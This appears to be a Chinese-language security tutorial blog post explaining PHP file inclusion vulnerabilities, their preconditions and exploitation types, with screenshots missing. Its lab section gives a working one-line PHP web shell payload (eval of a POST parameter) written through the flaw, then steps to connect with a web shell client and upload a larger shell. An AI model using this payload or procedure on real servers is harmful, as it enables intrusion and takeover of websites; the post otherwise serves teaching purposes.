概述
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为包含。
程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP、ASP、ASP.NET程序中比较少。
一、原理分析
大多数Web 语言都可以使用文件包含操作,其中PHP 语言所提供的文件包含功能太强大、太灵活,所以文包含漏洞经常出现在PHP 语言中。
简单的说,文件包含就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。
二、PHP文件包含函数
PHP中提供了四个文件包含的函数,分别为:
-
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
-
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
-
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
-
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
三、利用条件
-
参数配置allow_url_fopen=On(开启本地包含),allow_url_include=On (开启远程包含)
image.png -
用户可以控制文件包含的输入
四、文件包含漏洞利用
-
读取敏感文件
- 利用条件
- 目标主机文件存在
- 具有文件可读权限
- 任意文件读取
-
示例
image.png
- 利用条件
-
读取本地文件
-
示例
image.png
-
-
传输PHP文件(使用base64获取源码)
-
示例
image.png
-
-
执行PHP命令(
php://input
)-
示例
image.png
-
五、实验
实验目的:
利用文件包含漏洞,写入木马并执行上传Web Shell
实验步骤:
Step1:利用文件包含漏洞执行PHP命令
语法:
<?php fputs(fopen("2.php","w"),"<?php @eval(\$_POST['hacker'])?>"); ?>
//打开1.php文件并写入一句话木马
-
如图:
image.png
Step2:访问刚创建的文件
-
如图:
image.png
Step3:用菜刀连接
-
如图:
image.png
Step4:右击->上传文件(上传大马)
-
如图:
image.png
Step5:访问大马
-
如图:
image.png
Step6:输入密码进入操作页,拿到Web Shell
image.png
注:《白帽子讲Web安全》中有一句话:互联网本来是安全的,自从有了研究安全的人之后,互联网就变得不安全了。
所以,小编希望大家都是白帽子,而不是一群只会搞恶作剧的骇客。
小编也在学习,写的不好见谅。
从0到1学习网络安全 【目录】
小编最近建了交流群方便大家交流学习,群内有小编平时整理的学习资料、视频、工具等。
白帽交流群 【简介】
感谢大家支持。
网友评论